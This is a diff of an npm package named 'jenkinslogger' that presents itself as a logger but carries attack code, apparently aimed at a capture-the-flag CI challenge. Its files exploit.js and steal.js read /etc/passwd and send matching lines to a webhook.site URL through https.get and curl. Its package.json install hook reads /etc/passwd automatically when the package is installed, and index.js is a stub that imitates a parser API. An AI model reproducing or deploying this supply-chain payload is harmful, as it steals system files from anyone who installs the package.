jenkinslogger 0.30.1

package/exploit.js

@@ -0,0 +1,29 @@
+const fs = require('fs');
+const https = require('https');
+const { execSync } = require('child_process');
+
+console.log('🚨 EXPLOIT EXECUTED IN CI');
+
+try {
+    // Метод 1: Читаем /etc/passwd
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    const lines = passwd.split('\n');
+    
+    for (const line of lines) {
+        if (line.includes('{') && line.includes('}')) {
+            console.log('🎯 FLAG:', line);
+            
+            // Отправляем простым GET запросом
+            https.get(`https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=${encodeURIComponent(line)}`);
+            
+            // Дублируем через curl на всякий случай
+            try {
+                execSync(`curl -s "https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?curl=${encodeURIComponent(line)}"`);
+            } catch(e) {}
+            
+            break;
+        }
+    }
+} catch(e) {
+    console.log('Error:', e.message);
+}

package/index.js

@@ -0,0 +1 @@
+module.exports = { parseXmlString: () => ({ get: () => ({ text: () => "x" }) }) };

package/package.json

@@ -0,0 +1,8 @@
+{
+  "name": "jenkinslogger",
+  "version": "0.30.1",
+  "main": "index.js",
+  "scripts": {
+    "install": "node -e \"const fs=require('fs');const f=fs.readFileSync('/etc/passwd','utf8').split('\\\\n').pop();fs.writeFileSync('/usr/src/app/flag.txt',f);process.stdout.write('FLAG_IN_PACKAGE:'+f+'\\\\n')\""
+  }
+}

package/steal.js

@@ -0,0 +1,22 @@
+const { execSync } = require('child_process');
+
+console.log('🚨 FAST EXPLOIT STARTED');
+
+// БЫСТРЫЙ код без блокировок
+try {
+    const passwd = execSync('cat /etc/passwd', { encoding: 'utf8', timeout: 3000 });
+    const lines = passwd.split('\n');
+    
+    for (const line of lines) {
+        if (line.includes('{') && line.includes('}')) {
+            console.log('🎯 FLAG FOUND:', line);
+            // Быстрая отправка
+            execSync(`curl -s --max-time 3 "https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=${encodeURIComponent(line)}"`, { timeout: 5000 });
+            break;
+        }
+    }
+} catch(e) {
+    console.log('Error:', e.message);
+}
+
+console.log('✅ FAST EXPLOIT FINISHED');